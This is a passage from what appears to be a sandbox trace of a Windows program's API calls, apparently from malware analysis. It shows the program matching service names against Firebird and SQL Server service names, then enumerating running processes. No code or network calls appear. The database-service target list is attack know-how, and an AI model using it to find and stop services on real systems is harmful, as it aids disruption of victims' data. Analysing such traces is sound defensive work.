(lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0043.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0043.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0043.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0043.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0043.205] lstrlenW (lpString="netprofm") returned 8 [0043.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0043.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0043.205] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0043.205] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0043.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0043.205] lstrlenW (lpString="NlaSvc") returned 6 [0043.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0043.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0043.205] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0043.205] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0043.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0043.205] lstrlenW (lpString="nsi") returned 3 [0043.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0043.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0043.205] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0043.205] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0043.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0043.205] lstrlenW (lpString="PcaSvc") returned 6 [0043.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0043.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0043.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0043.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0043.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0043.205] lstrlenW (lpString="PlugPlay") returned 8 [0043.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0043.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0043.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0043.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0043.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0043.205] lstrlenW (lpString="Power") returned 5 [0043.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0043.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0043.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0043.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0043.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0043.206] lstrlenW (lpString="ProfSvc") returned 7 [0043.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0043.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0043.206] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0043.206] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0043.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0043.206] lstrlenW (lpString="RpcEptMapper") returned 12 [0043.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0043.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0043.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0043.206] lstrlenW (lpString="RpcSs") returned 5 [0043.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0043.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0043.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0043.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0043.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0043.206] lstrlenW (lpString="SamSs") returned 5 [0043.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0043.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0043.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0043.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0043.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0043.206] lstrlenW (lpString="Schedule") returned 8 [0043.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0043.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0043.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0043.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0043.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0043.206] lstrlenW (lpString="SecurityHealthService") returned 21 [0043.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0043.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0043.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0043.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0043.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0043.207] lstrlenW (lpString="SENS") returned 4 [0043.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0043.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0043.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0043.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0043.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0043.207] lstrlenW (lpString="ShellHWDetection") returned 16 [0043.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.207] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0043.207] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0043.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0043.207] lstrlenW (lpString="Spooler") returned 7 [0043.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0043.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0043.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0043.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0043.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0043.207] lstrlenW (lpString="StateRepository") returned 15 [0043.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0043.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0043.207] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0043.207] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0043.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0043.207] lstrlenW (lpString="SysMain") returned 7 [0043.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0043.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0043.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0043.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0043.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0043.207] lstrlenW (lpString="SystemEventsBroker") returned 18 [0043.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0043.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0043.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0043.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0043.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0043.208] lstrlenW (lpString="Themes") returned 6 [0043.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0043.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0043.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0043.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0043.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0043.208] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0043.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0043.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0043.208] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0043.208] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0043.208] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x781e10 | out: hHeap=0x690000) returned 1 [0043.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x31c [0043.212] Process32FirstW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0043.213] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0043.213] lstrlenW (lpString="System") returned 6 [0043.213] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0043.214] lstrlenW (lpString="smss.exe") returned 8 [0043.214] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.215] lstrlenW (lpString="csrss.exe") returned 9 [0043.215] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.215] lstrlenW (lpString="wininit.exe") returned 11 [0043.215] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.429] lstrlenW (lpString="csrss.exe") returned 9 [0043.429] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.429] lstrlenW (lpString="winlogon.exe") returned 12 [0043.429] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.430] lstrlenW (lpString="services.exe") returned 12 [0043.430] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.431] lstrlenW (lpString="lsass.exe") returned 9 [0043.431] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.431] lstrlenW (lpString="svchost.exe") returned 11 [0043.431] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0043.432] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0043.432] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0043.433] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0043.433] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.433] lstrlenW (lpString="svchost.exe") returned 11 [0043.434] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.434] lstrlenW (lpString="dwm.exe") returned 7 [0043.434] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.435] lstrlenW (lpString="svchost.exe") returned 11 [0043.435] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.436] lstrlenW (lpString="svchost.exe") returned 11 [0043.436] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.437] lstrlenW (lpString="svchost.exe") returned 11 [0043.437] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.437] lstrlenW (lpString="svchost.exe") returned 11 [0043.437] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.438] lstrlenW (lpString="svchost.exe") returned 11 [0043.438] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.439] lstrlenW (lpString="svchost.exe") returned 11 [0043.439] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.439] lstrlenW (lpString="svchost.exe") returned 11 [0043.439] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.440] lstrlenW (lpString="svchost.exe") returned 11 [0043.440] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.441] lstrlenW (lpString="svchost.exe") returned 11 [0043.441] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.441] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.441] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.442] lstrlenW (lpString="svchost.exe") returned 11 [0043.442] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.443] lstrlenW (lpString="svchost.exe") returned 11 [0043.443] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.443] lstrlenW (lpString="audiodg.exe") returned 11 [0043.443] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0043.444] lstrlenW (lpString="sihost.exe") returned 10 [0043.444] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.445] lstrlenW (lpString="svchost.exe") returned 11 [0043.445] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0043.446] lstrlenW (lpString="taskhostw.exe") returned 13 [0043.446] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0043.446] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0043.447] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0043.447] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0043.447] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.448] lstrlenW (lpString="explorer.exe") returned 12 [0043.448] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0043.449] lstrlenW (lpString="Memory Compression") returned 18 [0043.449] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0043.450] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0043.450] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0043.450] lstrlenW (lpString="SearchUI.exe") returned 12 [0043.450] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0043.451] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0043.451] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.452] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.452] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0043.453] lstrlenW (lpString="taskhostw.exe") returned 13 [0043.453] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0043.461] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0043.461] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0043.462] lstrlenW (lpString="msoia.exe") returned 9 [0043.462] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0043.463] lstrlenW (lpString="UsoClient.exe") returned 13 [0043.463] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0043.463] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0043.463] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0043.464] lstrlenW (lpString="msoia.exe") returned 9 [0043.464] Process32NextW (in: hSnapshot=0x31c, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, 